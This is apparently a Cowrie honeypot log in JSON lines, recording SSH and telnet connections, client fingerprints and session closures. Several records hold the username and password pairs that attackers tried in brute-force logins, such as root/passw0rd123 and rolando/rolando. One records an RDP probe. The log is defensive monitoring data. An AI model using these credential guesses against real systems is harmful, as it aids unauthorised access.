{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.007522Z","src_ip":"43.173.90.78","session":"f4328a261b25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.075751Z","src_ip":"43.173.90.78","session":"f4328a261b25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":35558,"dst_ip":"10.17.0.5","dst_port":22,"session":"4aaa280aa1f5","protocol":"ssh","message":"New connection: 15.204.225.76:35558 (10.17.0.5:22) [session: 4aaa280aa1f5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.301000Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.306022Z","src_ip":"15.204.225.76","session":"4aaa280aa1f5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.316960Z","src_ip":"15.204.225.76","session":"4aaa280aa1f5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!1qaz@2wsx","message":"login attempt [root/!1qaz@2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.379925Z","src_ip":"43.173.90.78","session":"f4328a261b25","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rolando","password":"rolando","message":"login attempt [rolando/rolando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.395989Z","src_ip":"15.204.225.76","session":"4aaa280aa1f5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"3.129.187.38","src_port":44636,"dst_ip":"159.203.135.109","dst_port":22,"session":"3a9bcf2caa1c","protocol":"ssh","message":"New connection: 3.129.187.38:44636 (159.203.135.109:22) [session: 3a9bcf2caa1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.725195Z"}
{"eventid":"cowrie.client.version","version":"","message":"Remote SSH version: ","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.769635Z","src_ip":"3.129.187.38","session":"3a9bcf2caa1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:25.774805Z","src_ip":"3.129.187.38","session":"3a9bcf2caa1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:26.411997Z","src_ip":"15.204.225.76","session":"4aaa280aa1f5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:26.450580Z","src_ip":"43.173.90.78","session":"f4328a261b25","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.480348825454712,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:30.335809Z","src_ip":"167.59.100.233","session":"8f2943c75717","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"182.253.79.194","src_port":15302,"dst_ip":"10.17.0.5","dst_port":22,"session":"99294da46102","protocol":"ssh","message":"New connection: 182.253.79.194:15302 (10.17.0.5:22) [session: 99294da46102]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:32.078839Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:32.084362Z","src_ip":"182.253.79.194","session":"99294da46102","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:32.358773Z","src_ip":"182.253.79.194","session":"99294da46102","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"passw0rd123","message":"login attempt [root/passw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:33.480694Z","src_ip":"182.253.79.194","session":"99294da46102","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:34.757542Z","src_ip":"182.253.79.194","session":"99294da46102","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"150.109.20.59","src_port":39840,"dst_ip":"10.17.0.5","dst_port":22,"session":"681ba87db3d3","protocol":"ssh","message":"New connection: 150.109.20.59:39840 (10.17.0.5:22) [session: 681ba87db3d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:34.905270Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:34.910563Z","src_ip":"150.109.20.59","session":"681ba87db3d3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:35.156202Z","src_ip":"150.109.20.59","session":"681ba87db3d3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"rolando","password":"rolando","message":"login attempt [rolando/rolando] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:36.168953Z","src_ip":"150.109.20.59","session":"681ba87db3d3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:37.417192Z","src_ip":"150.109.20.59","session":"681ba87db3d3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.108.3.46","src_port":55766,"dst_ip":"159.203.135.109","dst_port":23,"session":"13a3a1c259f1","protocol":"telnet","message":"New connection: 213.108.3.46:55766 (159.203.135.109:23) [session: 13a3a1c259f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:46.862082Z"}
{"eventid":"cowrie.session.closed","duration":0.015366792678833008,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:46.877303Z","src_ip":"213.108.3.46","session":"13a3a1c259f1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":62442,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d00296daf59","protocol":"ssh","message":"New connection: 152.42.212.128:62442 (10.17.0.5:22) [session: 3d00296daf59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:47.974093Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:47.978943Z","src_ip":"152.42.212.128","session":"3d00296daf59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:47.982492Z","src_ip":"152.42.212.128","session":"3d00296daf59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.91.48.142","src_port":60206,"dst_ip":"10.17.0.5","dst_port":22,"session":"bfa403a74147","protocol":"ssh","message":"New connection: 115.91.48.142:60206 (10.17.0.5:22) [session: bfa403a74147]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:48.416629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:48.420977Z","src_ip":"115.91.48.142","session":"bfa403a74147","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:48.623108Z","src_ip":"115.91.48.142","session":"bfa403a74147","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deposito","password":"deposito","message":"login attempt [deposito/deposito] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:49.462552Z","src_ip":"115.91.48.142","session":"bfa403a74147","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:50.668467Z","src_ip":"115.91.48.142","session":"bfa403a74147","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"40.117.97.0","src_port":42518,"dst_ip":"10.17.0.5","dst_port":22,"session":"c94ae3be85b4","protocol":"ssh","message":"New connection: 40.117.97.0:42518 (10.17.0.5:22) [session: c94ae3be85b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:53.146142Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:53.155770Z","src_ip":"40.117.97.0","session":"c94ae3be85b4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:53.165277Z","src_ip":"40.117.97.0","session":"c94ae3be85b4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"liujin","message":"login attempt [root/liujin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:53.247228Z","src_ip":"40.117.97.0","session":"c94ae3be85b4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:54.271280Z","src_ip":"40.117.97.0","session":"c94ae3be85b4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":41546,"dst_ip":"159.203.135.109","dst_port":22,"session":"ab5daa0c1d6b","protocol":"ssh","message":"New connection: 103.122.221.179:41546 (159.203.135.109:22) [session: ab5daa0c1d6b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:56.433440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:56.438627Z","src_ip":"103.122.221.179","session":"ab5daa0c1d6b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:56.696914Z","src_ip":"103.122.221.179","session":"ab5daa0c1d6b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:57.471904Z","src_ip":"103.122.221.179","session":"ab5daa0c1d6b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:36:58.732350Z","src_ip":"103.122.221.179","session":"ab5daa0c1d6b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"15.204.225.76","src_port":47356,"dst_ip":"10.17.0.5","dst_port":22,"session":"e7120b91e332","protocol":"ssh","message":"New connection: 15.204.225.76:47356 (10.17.0.5:22) [session: e7120b91e332]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:01.306750Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T05:37:01.311953Z","src_ip":"15.204.225.76","session":"e7120b91e332","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 